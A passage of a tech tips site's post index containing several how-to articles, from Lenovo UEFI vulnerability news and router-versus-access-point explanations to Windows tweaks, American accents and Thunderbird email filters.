vulnerable devices.\n  Installed the wrong driver Researchers at ESET warn that two UEFI-related vulnerabilities (CVE-2021-3971 and CVE-2021-3972) can be used by hackers to successfully deploy and execute SPI flash or ESP implants.\nBoth UEFI-related security problems in Lenovo products stem from two drivers being installed by mistake. Specifically, drivers named SecureBackDoor and SecureBackDoorPeim, which were only used in the production process, were mistakenly installed on commercial devices.\nIt is very difficult to detect UEFI with malicious code According to ESET, UEFI-related threats are often very dangerous and difficult to detect. This is because they execute early in the boot process before transferring control to the operating system.\nThis means that all mitigations and security solutions that work at the executive level are useless and the implicit execution of payloads is inevitable and undetectable.\nOf course, it is still possible to detect this type of attack, but it will require more advanced techniques such as UEFI integrity checking, real-time firmware analysis or device and firmware behavior monitoring to detect this type of attack. Look for suspicious activity.\nSecurity companies have identified two such implantation attacks in the past, both of which are used by hackers in actual attacks:\nLojax - discovered in 2018 and used by Russian state-sponsored hackers such as APT28, Fancy Bear, Sednit, Strontium and Sofacy. ESPcter - discovered in 2021 and active since 2012. However, this is not the only UEFI threat detected. Kasspersky has published reports on MosaicRegressor in 2020, FinSpy in 2021, and MoonBounce in January 2022.\nTo be safe from attacks from these vulnerabilities, Lenovo recommends that affected laptop users update the firmware to the latest version available.\nThis can be done by downloading and installing it manually from the device's support page or with the help of system driver update utilities provided by Lenovo.\nncG1vNJzZmismaXArq3KnmWcp51ksabAxJyrnpxdlnq0scKuqaKsqWKzra3WZqCnZZyau7DCzqxkrp2WnnqntdGmrpqqlWKup7LEnKuippdifnF8jKWYqayfpXquu8Oeo6w%3D\n","link":"/post/detected-a-security-flaw-in-lenovo-s-uefi-firmware-affecting-100-laptop-models/","section":"post","tags":null,"title":"Detected a security flaw in Lenovo's UEFI firmware, affecting 100 laptop models"},{"body":"Surely, you have heard a lot of people talk about 'routers' and 'access point' devices. So are these two concepts referring to the same thing? The answer is of course no!\nLet's find out what is the difference between an Access point (or a wireless access point) and a router through the following article!\nWhat is a router? A router is a network device that can transmit data wired or wirelessly. As a smart device, the router is enabled to direct traffic to and from the network efficiently. Traditionally, a router was connected to other LAN (local area network) devices through an Ethernet cable to connect to a wired network. Over time, wireless routers, offering user-friendly installation without the need for cables, have become increasingly the darling of many homes and small offices.\nA wireless router refers to a network device that performs the functions of a router, by wirelessly connecting WiFi-enabled devices, such as laptops, smartphones, tablets, etc. to routers. Enterprise, they support digital IPTV / TV services and can be used for Voice over IP (VoIP) calls. Besides, they also have firewall and password protection function to protect against potential threats outside LAN.\n  What is an access point? An access point, also known as a wireless AP or WAP, stands for a network hardware device that adds WiFi capabilities to an existing wired network, by bridging traffic from stations. wireless to wired LAN. The wireless AP can act as a standalone device or as a component of the router.\nIn general, a wireless AP allows non-WiFi devices to access the wireless network with the help of an Ethernet cable. That is, the signals running from the router to the access point are converted from wired to wireless. Alternatively, the WAP can also be used to extend the wireless coverage of an existing network in the event of future increasing access requirements.\n  Difference between Access Point and Router Both the access point and the router support WiFi networking and perform similar roles. That is why many people create confusion between these 2 devices. Actually, these two network devices are more like cousins ​​than twins. As follows:\n  About function In general, most wireless routers incorporate the functionality of a wireless AP, Ethernet router, basic firewall, and small Ethernet switch. Whereas the wireless hotspot is usually a readily available component of devices like routers or WiFi extenders. In simple terms, a wireless router can act as an access point, but not all APs can function as routers.\nTo be clear, the wireless router, which acts as an \"Ethernet hub\", helps establish a local network by associating and managing all of the devices connected to it.\nHowever, the access point is a secondary device on the local network that only provides access to the router's established network. Therefore, if you are a network administrator, you can use the wireless router to change the network settings, but the wireless AP does not have this feature.\nAbout connection The router mode and the AP mode are different. Cannot connect the wireless AP to the modem. Usually, a switch or router is used as an intermediary. While the wireless router has a Broadband Dial-up function, it can be directly connected to the modem to dial-up Internet.\nAbout coverage Wireless routers are the most popular networking equipment available today. But sometimes, the WiFi signal will be weak and some dead spots will appear if there is a coverage area that the router cannot reach. Instead, a wireless access point can be added to locations with poor network conditions, eliminating dead spots, and expanding the wireless network.\nAbout application Typically, wireless routers cater to the needs of homes and offices or small organizations, and can easily meet the needs of fixed and moderate access. Obviously, this type of router cannot scale to reflect the future increase in network demand.\nAs for wireless APs, they are mainly used in businesses and organizations with medium to large sizes, multiple wireless APs are used to support large numbers of users. Unlike in the case of routers, network administrators can add additional APs as demand grows, to cover a larger physical area.\nAs a general rule, the more efficient one can meet more needs. In a way that is easy to understand, use needs should be considered. If you just want a home wireless network to meet the needs of family members, a wireless router is enough. But if you want to build a more reliable wireless network that benefits a large number of users, a wireless AP is more suitable.\nncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmnqjsdOwnJ6mXZawpLHSrGSpp5mjwW6tzZ1kq6elqbKz\n","link":"/post/difference-between-access-point-and-router/","section":"post","tags":null,"title":"Difference between Access Point and Router"},{"body":"If you have a pet or child in the house, then you will realize that an unprotected keyboard is really a disaster - the file is deleted, the job is lost and it's hard to explain the Facebook status. update at the on . In this article, we'll take a look at how to disable the keyboard just by touching a button - and of course, how to disable it.\nKeyboard Locker is a small program that allows you to do this job and it will consume some system resources. In essence, it's a small AutoHotKey script, which is originally written by the AutoHotKey forum - named Lexikos. If you already have AutoHotKey installed, we will include this original code so you can include it as you like.\n  When you open Keyboard Locker, you will see a small keyboard icon appear in your system tray.\n  To lock the keyboard, press Ctrl + Alt + L.\n  This icon in the system tray changes to indicate that the keyboard is locked.\nMost of the data entered from the keyboard is now disabled, including most special keys in the multimedia keyboard and the Caplock, Numlock keys. There are a few key combinations that will still work, like Ctrl + Alt + Delete and Win + L to lock your computer but it's not easy for kids to do it. When you want to enable the keyboard, simply type in the word \" unlock \".\n  By default, popup notifications seen in the image above do not appear - only when the system tray icon changes. If you want to enable this message, right-click the system tray icon and click \" Show tray notifications \".\n  If you don't like this message but forget the keyboard shortcut or the typing command, you can move the mouse over the system tray icon and a popup window will appear with the instructions provided.\n    Keyboard Locker will not have any adverse effects on your computer if you leave it at all times, but if you want to turn it off, right-click on the icon in the system tray and then press \" Exit \".\n  Page 2 : Start Keyboard Locker when Windows starts\nStart Keyboard Locker when Windows starts \n If you want Keyboard Locker to start automatically when you start your computer, you can create a shortcut to Keyboard Locker in your startup folder. To do this, click on the Start button, then on All Programs . You can see a folder called Startup .\n  Right-click on this folder and click Explore\n  A window will be opened. There may already be a few shortcuts in it (if there are programs here that you do not want to start with Windows, you can delete them here). In our case, right-click an empty area of ​​the window and select New \u0026gt; Shortcut .\n  Click the Browse . button and locate where you save Keyboard Locker.\n  The Path section will be filled. Click Next\n  Put a name for this shortcut if you like, then click Finish .\n  You should now see a Keyboard Locker shortcut in the startup folder. From now on, Keyboard Locker will start with Windows.\n  If you want to stop Keyboard Locker from running with Windows, simply delete it from the Startup folder.\nncG1vNJzZmismaXArq3KnmWcp51ksaq%2FwJujnmWbmsaju8Crm2avmam1brfEspmomaKZerS0zqurnK2kYravedaipZ2np6g%3D\n","link":"/post/disable-keyboard-with-keyboard-shortcut-in-windows/","section":"post","tags":null,"title":"Disable keyboard with Keyboard Shortcut in Windows"},{"body":"    this is a way to get rewarded in pubg mobile when you find graffity godzilla in pubg mobile   this is a way to get rewarded in pubg mobile when you find graffity godzilla in pubg mobile   ncG1vNJzZmismaXArq3KnmWcp51kwaKz0midoqaUYrSwsNmio6WZXaXCo7OMpqaboZyae6nAzKU%3D\n","link":"/post/find-godzilla-pubg-mobile-tipsmake-com/","section":"post","tags":null,"title":"find godzilla pubg mobile | TipsMake.com"},{"body":" This wikiHow teaches you how to install the free VLC media player on your computer or smartphone. VLC is available for Windows, Mac, iPhone, and Android platforms. Open the [https://www.videolan.org/vlc/index.html VLC website]. Type...\n Kareem Winters Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZJqmlGK2r7%2FTmqOlZaahsG65xJ2gmmWgoa66sdE%3D\n","link":"/post/how-to-download-and-install-vlc-media-player/","section":"post","tags":null,"title":"How to Download and Install VLC Media Player"},{"body":"Referring to the war game, gamers will remember the names like Battlefield, Call Of Duty, Medal of Honor . Gamers will be able to participate in battles, gun battles full of dramatic and attractive. .\nAs for This War of Mine, this game is also in the war genre, but the gameplay will be very different from the above action games. When participating in This War of Mine you must show the ability to survive and move the characters in the game when you lack everything in the game.\nFrom medicine, food, supplies . not to mention the dangers lurking outside. You will have to control a group of people, each with different skills and you need to take advantage of each person's skills to help the whole group survive.\nThe game is currently available on Windows, Android and iOS. If you want to experience the true feeling of survival, then download This War of Mine according to the instructions below.\nHow to double the download speed on Google Play How to get a list of free games, game sale on Steam How to download New Gunbound on iOS How to download This War of Mine on PC Step 1: If you have Steam available, just look for This War of Mine, then select the game title in the list. Currently the game is being offered for 47,000 VND.\n  Step 2: Click on Print Cart below to buy the game.\n  Click Purchase for myself .\n  Step 3: Select Online Banking\u0026gt; select Continue .\n  Next, select I Agree to the term . and click Continue to Smart2Pay .\n  Step 4: Then select the bank account you are using. Fill out the card information, confirm the OTP code and download This War of Mine.\n  Upon completion of the payment, you will receive a notice with the amount.\n  Now go to Library, find the keyword This War of Mine and click Install to download the game.\n  Select the game download folder.\n  To make the experience easier and more convenient, please Vietnameseize This War of Mine. The content and functions in the game will be Vietnamese for you to get acquainted easier.\n  Currently This War of Mine is very preferential price, you should buy the game to support the game publisher. With This War of Mine on Android and iOS, you can download the link below. This War of Mine configuration on the phone is not too heavy, but if you are wondering whether your device can be played, please refer to This War Of Mine Configuration on Android and iOS.\nDownload This War of Mine for Android Download This War of Mine for iOS ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZK2gmah6uK3RZqafZZ2eu6Y%3D\n","link":"/post/how-to-download-this-war-of-mine/","section":"post","tags":null,"title":"How to download This War of Mine"},{"body":"Since its launch, Windows 10 has affirmed its outstanding advantages. However, after a period of use, you may feel your computer boots slower than before. If you are confident that your computer configuration fully meets the requirements of Windows 10, then try to fix the slow boot computer with the following actions:\n1. Set up virtual memory Virtual memory - this is a feature that takes a portion of the hard drive capacity to make \"virtual\" RAM of Windows. When the actual RAM usage is near maximum, virtual RAM will be put into use. However, some users have responded that setting up virtual memory by default could slow down the boot process. Therefore, you should take a look at your virtual memory settings and maybe make some changes to fix the problem.\n- Open the Search tool on the Taskbar, enter \"performance\" and select Adjust the appearance and performance of Windows .\n  - Switch to the Advanced tab , in section Virtual memory select Change .\n  - Uncheck the Automatically manage paging file size for all drives box , select Custom size and fill in the Initial size and Maximum size values (compared to the actual RAM, Initial size should be 1.5 times higher, and Maximum size should be 3-4 times times). Then click OK .\n  - Restart your computer and check if Windows is still booting slowly or not.\n2. Disable Fast Boot One of the settings that most affects the boot time of Windows 10 is Fast Boot. This feature helps to speed up the next boot by preloading some boot information before the computer is turned off. However, for some computers, having to download a lot of data during shutdown and turning on the computer makes Windows start slower. So try disabling this feature to see if the problem improves.\n- Open the Search tool on the Taskbar, enter \"power\" and select Power \u0026amp; sleep settings .\n  - Scroll down to select Additional power settings to open the Power Options window .\n  - Click Choose what the power buttons do .\n  - Click Change settings that are currently unavailable .\n  - Uncheck the Turn on fast startup box and then click Save changes to save the settings.\n  3. Turn off Linux Terminal Linux Bash Terminal is a very interesting feature for developers, but it can also be the culprit of slow booting problems for your computer.\nThis feature is not enabled by default. So, if you don't know what Bash is, you probably don't need to try this method because you probably haven't turned it on.\nTo turn off the Linux shell, do the following:\n- Open the Search tool , enter \"Windows features\" and select Turn Windows features on or off .\n  - Uncheck the Windows Subsystem for Linux box , click OK, and then restart the computer.\n  4. Update graphics card driver Sometimes updating the graphics card driver can fix slow boot issues, so try this method.\n- Right-click on Start and select Device Manager .\n  - Go to Display adapters , click the expand arrow to see the name of the graphics card device.\n  + With integrated card (Intel), you can go to the homepage of the laptop manufacturer to download the latest driver version.\n+ For a discrete card (NVIDIA, AMD), go to the homepage of the supplier of that card, find the corresponding driver and download the latest version.\n5. Delete some startup programs A lot of software is set to start automatically with Windows. If you have dozens of applications that load during login and start accessing your computer, this can actually damage your system immediately. Follow the instructions below to get rid of heavy startup programs and check to see if this remedy works.\n- Press Ctrl + Shift + Esc to open Task Manager .\n- Switch to the Startup tab . Right-click on the name of any column (such as Name ) and highlight both Disk I / O at startup \u0026nbsp;and\u0026nbsp; CPU at startup .\n  - Click the name of the Startup impact column to sort the programs that are currently enabled (Enabled) in order from High to Low.\n  Programs marked as High often use a lot of performance on your disk and CPU, which can take a longer time for your computer to fully load. Need to determine which program you want to disable from starting automatically with Windows.\nUnless you know what all these programs are, right-click on it and select Search online to learn more. Be careful: a program you don't recognize does not mean it needs to be disabled.\n  - Once you've determined which program needs to disable starting with Windows, right-click on it and select Disable .\n  6. Reset Windows If none of the above fix the slow boot issue, it's best to reinstall a new copy of Windows 10.\nTo do this, please see the instructions on how to reset Windows 10. Note that before resetting, back up all the important data in your system drive (including data off the Desktop screen). .\n  The slow start of Windows 10 is a situation that is not difficult to encounter, and of course nobody wants it. Hopefully one or more of the above measures will help you fix the problem of your Windows 10 computer booting slowly.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqntddmqqWnp2KvsLvTZpqopaCqwaa%2BjLCgp5yfrMBufY9mmainpGLArbvWpbA%3D\n","link":"/post/how-to-fix-fix-slow-boot-computer-windows-10-boot-slowly/","section":"post","tags":null,"title":"How to fix, fix slow boot computer, Windows 10 boot slowly"},{"body":"When you right-click the Recycle Bin icon on the desktop, you can choose the Properties option to customize the Recycle Bin capacity or change the file deletion action.\nYou can choose the Properties option to customize the size of the Recycle Bin or change the action to delete files If you do not want to allow others to access the Properties menu , you can hide or delete it. In this tutorial, TipsMake.com will show you two methods to remove the Properties option from the Recycle Bin context menu in Windows 10.\nMethod 1: Remove the Recycle Bin option from the Recycle Bin context menu through Group Policy 1. Open Local Group Policy Editor and browse to: User Configuration\u0026gt; Administrative Template\u0026gt; Desktop . On the right panel, double click on the policy named Remove Properties from the Recycle Bin context menu .\nDouble click on the policy named Remove Properties from the Recycle Bin context menu 2. Select the Enabled option and click OK.\nSelect the Enabled option 3. After restarting Windows, you will see the Properties option disappear in the context menu when you right-click on the Recycle Bin shortcut on the desktop.\nProperties' options disappear in the context menu Method 2: Remove the Recycle Bin option from the Recycle Bin context menu through Registry Editor 1. Open Registry Editor and navigate to:\nHKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer Right-click on the Explorer key and select New\u0026gt; DWORD (32-bit) Value .\nRight-click on the Explorer key and select New\u0026gt; DWORD (32-bit) Value 2. Rename DWORD to NoProperIESRecycleBin , then double-click it. Change its value data to 1 .\nRename DWORD to NoProperIESRecycleBin and set the value to 1 3. Restart the computer. When you right-click the Recycle Bin icon on the desktop, you will see that the Properties option is no longer available. If you want to restore the Properties option later, just change the value data of NoProperIESRecycleBin to 0 .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVory3sYypqaiolafBqrHSZp2rp51iwamxjKucnLGTobJursinZJynnqmyucCMppynrV2eu27DyKebqK%2BjYn5x\n","link":"/post/how-to-remove-properties-from-the-recycle-bin-context-menu-in-windows-10/","section":"post","tags":null,"title":"How to remove Properties from the Recycle Bin context menu in Windows 10"},{"body":" English is a tricky language because there are so many exceptions to the rules when it comes to grammar and syntax. American English can be even harder to learn since there are so many variations in dialect and speech from region to...\nMethod 1of 3:\nUsing American Language  Adopt the way that Americans use articles in everyday speech. In English, the articles are 'the,' 'a,' and 'an.' The way that Americans use these articles is unique when compared to other forms of English, but there are no strict rules for how to use them. In general, the article is only dropped for 'church,' 'college,' 'class,' and a few other nouns. Try to repeat back a phrase that sounds odd to you by using the new article to get used to it.[1] An American would say they 'go to college,' but they'd also say 'go to the university.' A British or Irish speaker would say they 'went to hospital,' but an American speaker always goes to 'the hospital.' The difference between using 'a' and 'an' isn't the first letter that follows the article. It's actually whether the sound of the first syllable is a vowel or consonant. You always use 'an' with vowel sounds, and 'a' consonants. Since Americans pronounce 'honor' like 'on-er,' it's 'an honor' to meet someone if you're speaking American English. Article usage is one of the things that can make learning English so difficult. Stick with it and you'll get used to using the proper articles over time.   Use American terms for everyday items to blend in. Like Australian, British, and Irish English, there are a plethora of words that are unique to American English. Using a term like 'motorway' or 'ice lolly' is a dead giveaway that you aren't an American English speaker. If you want to blend in, get used to using American terms and work on committing them to memory by using them every day.[2] It can be tough to get used to using American terminology if you aren't familiar with it. Give it time. You'll get used to it the more you talk and listen to Americans. Watching a lot of American movies and shows can give you a good sense of the everyday phrases that Americans use. If you can't figure a word out based on context alone, write it down to look it up later. Common American Phrases\n\u0026nbsp;\nUse \"restroom/bathroom\" instead of \"toilet/lavatory/loo.\"\nUse \"elevator\" instead of \"lift.\"\nUse \"trunk\" instead of \"boot.\"\nUse \"freeway\" instead of \"motorway.\"\nUse \"sweater\" instead of \"jumper.\"\nUse 'pants' instead of 'trousers.' Use \"vest\" instead of \"waistcoat\" (the shirt worn under clothing is often called an undershirt).\nUse \"sneakers\" or 'tennis shoes' instead of \"trainers.\"\nUse \"diaper\" instead of \"nappy.\"\nUse \"vacation\" instead of \"holiday\" (holidays tend to mean national bank holidays only or the holiday season around Christmas).\nUse \"bag of chips\" instead of \"packet of crisps.\"\nUse \"gasoline\" instead of \"petrol,\" and \"gas station\" instead of \"filling station,\" or \"petrol station.\"\nUse \"truck\" instead of \"lorry.\"\n  Get used to American idioms by incorporating them in your speech. Americans have a lot of idioms, which are culturally-recognized phrases that differ from a phrase's literal meaning. For example, when an American says that it is 'raining cats and dogs,' they mean that it's raining hard, not that animals are falling out of the sky. When you hear an idiom, ask what it means and then try using it in your everyday conversation to get used to it. You'll learn lots of idioms over time simply by trying them out.[3] 'I could care less' actually means 'I couldn't care less' in American English. While this isn't technically an idiom, it is an odd phrase that means something different than what it literally communicates. Common American Idioms\n\u0026nbsp;\nA 'cat nap' is a short rest.\nA 'Hancock' is a person's signature.\nIf you're 'barking up the wrong tree,' you're looking in the wrong place or accusing the wrong person.\nA 'far cry' is a big difference between two things.\nIf you're giving someone 'the benefit of the doubt,' you trust them without proof or evidence.\nIf you 'see eye to eye\" with someone, you're in total agreement.\nTo 'kill two birds with one stone' is to accomplish two things at once.\nA 'last straw' is the final problem that forces something to happen.\nIf you have 'the best of both worlds,' then you have all of the advantages from two options.\nIf you're 'hanging out,' it means that you're relaxing.\n'What's up?' means 'what is going on?' or 'what do you need?'\n Method 2of 3:\nPronouncing American English Dialects  Hold your vowels and Rs to replicate General American English. While every region of the United States speaks differently, there is a stereotypical form of American English that serves as a solid baseline for American dialects. Generally speaking, use hard vowels and R-sounds by sounding them out more thoroughly. Other forms of English (like British, Irish, and Australian English) tend to blend vowels and R-sounds, while General American English tends to over-enunciate them.[4] Including a harder R-sound makes words like 'card' sound like 'kaard' instead 'cawd.' Another example would be 'other,' which might sound like 'oth-a' in British English, but sounds like 'uh-ther' in American English. Opting for hard vowels instead of soft vowels makes words like 'cut' sound like 'khut' in American English, while it might sound like 'khat' in British English. Tip: Watch American news reporters speak for a perfect example of what General American English sounds like. The nickname given to General American English is even 'newscaster accent' or 'television English.'[5]\n  Swap O-, I-, and E- sounds for a Southern accent. While there are several versions of a Southern accent, you can create a general Southern accent by swapping vowel sounds. Turn O-sounds into I-sounds and I-sounds into O-sounds. I-sounds are often drawn out to sound like two E's in words like 'bill,' which makes it sound like 'bee-hill.' The reverse is also true: words like 'pen' sound like 'pin.'[6] Other examples include 'feel' sounding like 'fill,' and 'think' sounding like 'thenk.' Note that, in each example, the E, and the I-sounds are swapped. Swapping the O and I makes words like 'hot' sound like 'hight,' and words like 'like' sound like 'lok.'   Use 'aw' instead of 'al' or 'o' for a Northeastern accent. While New York, Boston, and Philadelphia all have unique accents, they all tend to replace A-sounds and O-sounds with 'aw' or 'uh.' Use the roof of your mouth more than you usually do and use 'aw' to replace soft-A sounds and O-sounds for a Northeastern accent.[7] This makes words like 'call' and 'talk' sound like 'kawl' and 'tawk,' and words like 'off' and 'love' sound like 'awf' and 'lawve.'   Speak like you're from the Midwest by manipulating O-sounds. While the Midwest has a variety of accents, most of them replace short O-sounds with short A-sounds. Play with O-sounds to make them shorter or longer to sound like you're from the Midwest.[8] The manipulation of O-sounds makes words like 'hot' sound like 'hat.' However, long O-sounds tend to be extended, so words like 'whose' sound more like 'hooz' instead of 'whues.'   Over-pronounce K-sounds and drop T-sounds to sound Californian. While there's a bit of variety on the West Coast, Californian speakers tend to expand their mouths to accent K-sounds while dropping T-sounds. In addition, use a hard-R whenever a word ends with R.[9] The Californian accent makes a phrase like 'I like that here' sound like 'I lyke tha hear.'  Method 3of 3:\nIncorporating Slang and Using the Right Tone  Use 'y'all' and other Southern slang to seem Southern. The easiest Southern slang to incorporate is to use 'y'all' instead of 'you all' or 'everyone.' Southerners often say 'git' instead of 'get.' Other common slang terms include 'yonder,' which means 'over there,' and 'fixin',' which means 'about to do.'[10] The South has a lot of idioms and phrases, like 'bless your heart,' which means 'you are sweet,' and 'pretty as a peach,' which means that something is pleasant, or cute. The South is a very religious region of the United States. To speak like a Southerner, use the word 'bless' often. Phrases like 'bless your heart' and 'God bless you' are common in the South.   Adopt Northeastern slang to sound like an East Coast native. Speakers on the East Coast tend to say 'ey' or 'ah' during breaks in speech. Bostonians will use 'wicked' instead of 'awesome' or 'really.' They also tend to use 'hella' instead of 'very.' A 'hella wicked smaht' person is someone that is 'really very smart,' for example. New Yorkers are notorious for saying 'fuggetaboutit,' a truncated version of 'forget about it.' It means that everything is fine.[11] Raising your voice a little isn't necessarily considered rude on the East Coast. In Philadelphia, the word 'jawn' can replace any noun and you'll have to use context clues to determine what it means. For example, 'that jawn' could mean 'that girl,' 'that food,' or 'that politician' depending on the subject of discussion. Philadelphians also call submarine sandwiches 'hoagies.' If someone in the Northeast refers to 'the City,' they're talking about New York City. The state of New York (outside of New York City) is almost always called 'New York State.'   Utilize 'you guys' and drink 'pop' to sound like a Midwesterner. Always say 'you guys' instead of 'ya'll,' 'you all,' or 'everyone' to sound like an authentic resident of the Midwest. In addition, Midwesterners typically refer to carbonated beverages as 'pop' instead of 'soda.'[12] Midwesterners tend to over-use niceties like 'thanks' and 'sorry' in everyday speech. These are often replaced with 'ope.' It's a sort of combination of 'oh' and 'whoops,' and is used to express regret that you made a minor mistake. Chicagoans tend to say 'goes' instead of 'went' or 'go.' They also use the word 'dip' to mean 'leave' or 'vacate.'   Speak like you're from California by acting excited and using 'dude.' Many Californians use an upward inflection while you're speaking. Even a slight upward-inflection creates the impression that they're excited or in a really good mood. A key component of sounding Californian is to use the word 'dude' as well. 'Dude' is a regional-specific term for a person you're familiar with (usually male).[13] 'Radical' and 'sick' are common terms for 'awesome.' If someone from California says that you're a 'sick dude,' they're paying you a compliment. Like Bostonians, Californians use 'hella.' However, they often pronounce it 'helluva' and use it like a superlative to describe an event or person. For example, if a party was 'a helluva good time,' then it was a really good party. Tip: You can truncate and abbreviate words to sound like a trendy West Coast native. Many people there will say 'guac' instead of 'guacamole' or 'Cali' instead of 'California.'\n  Jessica Tanner Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmq6secCmnKuhk5a7brHNoKOiq5g%3D\n","link":"/post/how-to-speak-american-english/","section":"post","tags":null,"title":"How to Speak American English"},{"body":" What are POLED and AMOLED - Opinion about the difference between these two types of OLED technology Is it really economical to unplug the TV? How to use 4K TV as a computer screen When buying a TV next to the price, the brand size is also a problem that many people care about the most. However, many people do not know how to calculate the TV inch properly, because our unit of measurement is centimeters, not inch units. Therefore, in this article, we will show you how to calculate the standard size to choose the best TV for your needs.\n  To choose the right size TV you want, the first thing you need to understand is how to change inch to cm. These are considered the two most popular units of measurement around the world, so changing inches to centimeters is a must if you want to calculate the length of objects easily. When you learn how to convert, you will feel easier and more professional when you go to the store to buy a TV.\nHow is the TV size calculated?\nThe unit inch TV is not the length, nor the width of the device. That inch is the diagonal of every TV. Based on the inch of the TV, one can calculate the best distance from the screen to the eyes of the viewer to increase the efficiency and safety of use.\nFor example, a new 49 inch Smart TV, the number of inches is the diagonal connecting the two corners of the TV.\nCompared to centimeters, the unit of measurement is much larger.\nExample : 1 inch = 2.54 cm.\n  Therefore, if you want to convert a 49-inch TV to a Centimeter number for easy calculation, you must perform the calculation: 49 x 2.54 =?\nToday to convert inches to centimeters you do not need to use computers or mental arithmetic takes time, because on the Internet there are many online websites that support you to calculate and convert this unit. To convert inch TV to centimeter you can access here .\nStep 1 :\n  When visiting the website, you enter the number of inch TV you plan to buy.\nStep 2 :\n  For example, you want to buy a 50-inch large screen Smart TV. Please enter 50 inches and the answer to be given quickly is 127.00cm. That is more than 1 meter.\nSimilar to the old 21-inch TV series, the number received is 53.34cm.\n  For larger TV models, you can also enter the number here to change the TV inch to cm. This method will help you be able to calculate the area of ​​the TV to make it suitable for the area of ​​your family. Like an area on a small shelf or a living room. For example, the living room is about 1m2 wide, you can choose for yourself a TV about 49 to 50 inches will be suitable for the space as well as see the best quality.\nBelow is a unit of measurement from inch to centimeter for TV\n  ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabkaGwtrjAraCnn12eu6S0xKxkn6eiYsG3vw%3D%3D\n","link":"/post/instructions-for-calculating-inches-for-tvs/","section":"post","tags":null,"title":"Instructions for calculating inches for TVs"},{"body":"The need to write an email reply with too many content makes you spend a lot of time or you want to send an email in the future but are afraid to forget what to do? Quite simply, you can set an email schedule and set up auto-reply mode. In this article, we will show you how to do it in the Mozilla Thunderbird application - a cross-platform, free and multi-platform email application.\nNote: Here, we use Thunderbird for the Windows version. However, the instructions below are applicable for Mac and Linux versions, although the interface is slightly different.\nInstructions for backing up email on Mozilla Thunderbird Instructions for composing autoresponder messages on Microsoft Outlook 2016 Automatic answering filter Auto responder filters allow you to identify incoming emails and pair them with sample messages. When an email activates the filter, the sender will automatically receive a reply. Here is an example of the auto-reply feature:\nAnswer common questions. Set up email replies \"not available at the office\" when you are on leave. Confirm that you have received the email and will respond as quickly as possible. Now let's see how you can create automated email replies in Mozilla Thunderbird!\nSet up message templates To create a template, you need to use the Menu bar to File\u0026gt; New\u0026gt; Message or if you are using the Mail Toolbar, click the Write button to create a new email or simply press the CTRL + N shortcut key (which is Command + N key on the Mac).\n  Next, write a message like when you write a regular email. Remember to add a title!\n  Now save your message as a template. In the Email menu of the email, go to File\u0026gt; Save As\u0026gt; Template , or in Composition Toolbar - expand the Save drop-down menu and click Template .\n  Prepare the message templates you need, then proceed to create filters.\nTip: If you do not see any menu or toolbar above, right-click on the toolbar's blank to see additional menus. Check next to the tools you lack so they appear on the toolbar.\nSet up message filters Go back to the Thunderbird Menu bar, go to Tools\u0026gt; Message Filters . to open the corresponding window.\n  In the Message Filters window, click New (this button starts the new filter setting).\n  Note: If you use multiple email accounts in Thunderbird, be sure to set the email address that the filter will apply in Filters for.\nStart setting up Filter name in case you need to edit the filter later.\nUnder Apply filter when , instruct Thunderbird to run the filter. For example, if you want to see all emails before sending automated feedback, choose Manually Run . The advantage of manual filters is that you can apply them only to the selected folders. To filter all incoming messages, select Getting New Mail . You can select before or after Junk Classification .\n  Note: You can also set up Archiving filters or After Sending email, which means you can use filters to organize your emails.\nNow is the time to set up your rules. First, decide if the filter should Match all of the following or Match any of the following rules . Then compose your rules. Filter criteria can be applied to all email headers to CC users and you can also create custom criteria. Here, we choose Subject and Body . Click \"+\" to add more rules and click \"-\" to delete the corresponding rule.\n  Note: You can also create Thunderbird Match all messages (you won't be able to set any more rules). This feature is very useful when you need to process a series of emails coming from a specific address (selected in the first step).\nFinally, Thunderbird needs to know what tasks to do with incoming emails to match your rules. in the Perform these actions section , you can select Reply with Template , then select the template. You can also set additional rules, such as moving incoming mail to a specific folder.\n  When you're happy with the filter, click OK to save it.\nTip: You can set multiple stages of filters to work together. Below is a screenshot of the filter criteria and actions available. For example, you can set up automatic filters to move incoming messages to a directory based on your rules, but not to enable automated replies. You can now re-check the content in the folders and move the mail in or out as needed. Finally, you can run different autoresponder filters on specific folders.\nSet email delivery schedule Another unique feature that you can activate in Thunderbird is to schedule an email. This means that Thunderbird will send those emails at a specific time in the future. This feature is very useful for sending reminders, to yourself, your friends or a group of people.\nBecause this is not the default feature of Thunderbird, we need to register a utility called Send Later . This utility is similar to Boomerang for Gmail, except that it is free and unlimited.\nSet up the Send Later utility The easiest way to install the Thunderbird utility is to install it directly via Add-ons Manager. Click the Thunderbird Menu icon (2 vertical lines) and select Add-ons . In Add-ons Manager , open the Extensions tab. Locate the search box at the top right and find all utilities for Send Later. Click Install next to that gadget.\n  Your utility has been downloaded and installed with a single step. Click Restart now to complete the installation process.\n  Before starting to use the utility, go back to Add-ons Manager\u0026gt; Extensions and open Send Later Options . Here, you can describe the image above 'Send Later', including General settings, Custom Shortcuts for sending schedules and Advanced options.\n  Use Send Later Next time, when you compose an email you want to send later, go to File\u0026gt; Send Later or press CTRL + SHIFT + RETURN.\n  In the Send this email later window that appears, set the date and time in the Send at section, select Recur mode if you want this email to repeat and select one of the options if necessary.\n  So is the scheduling of email and setting the mail reply mode in Mozilla Thunderbird is complete. It's that simple, isn't it!\nHow do you use filters and utilities to organize email in Thunderbird? Share your tips and the utilities you like best in the comment section below!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarlanBqrrGZqypZZ2kx6q4y5pkraClo7GmvsGiqZ1lpKR6tLHTZqypZZWirqq4jKyaoZ2UqrmqusZmmKecXZbCtbvMmquim12irqq4jKucqaSZmsA%3D\n","link":"/post/instructions-for-setting-up-mozilla-thunderbird-to-set-up-email-scheduling-and-automatic-mail-replies/","section":"post","tags":null,"title":"Instructions for setting up Mozilla Thunderbird to set up email scheduling and automatic mail replies"},{"body":"The following article will help you know how to properly clean the TV remote so that they are always clean.\n  You should clean the TV 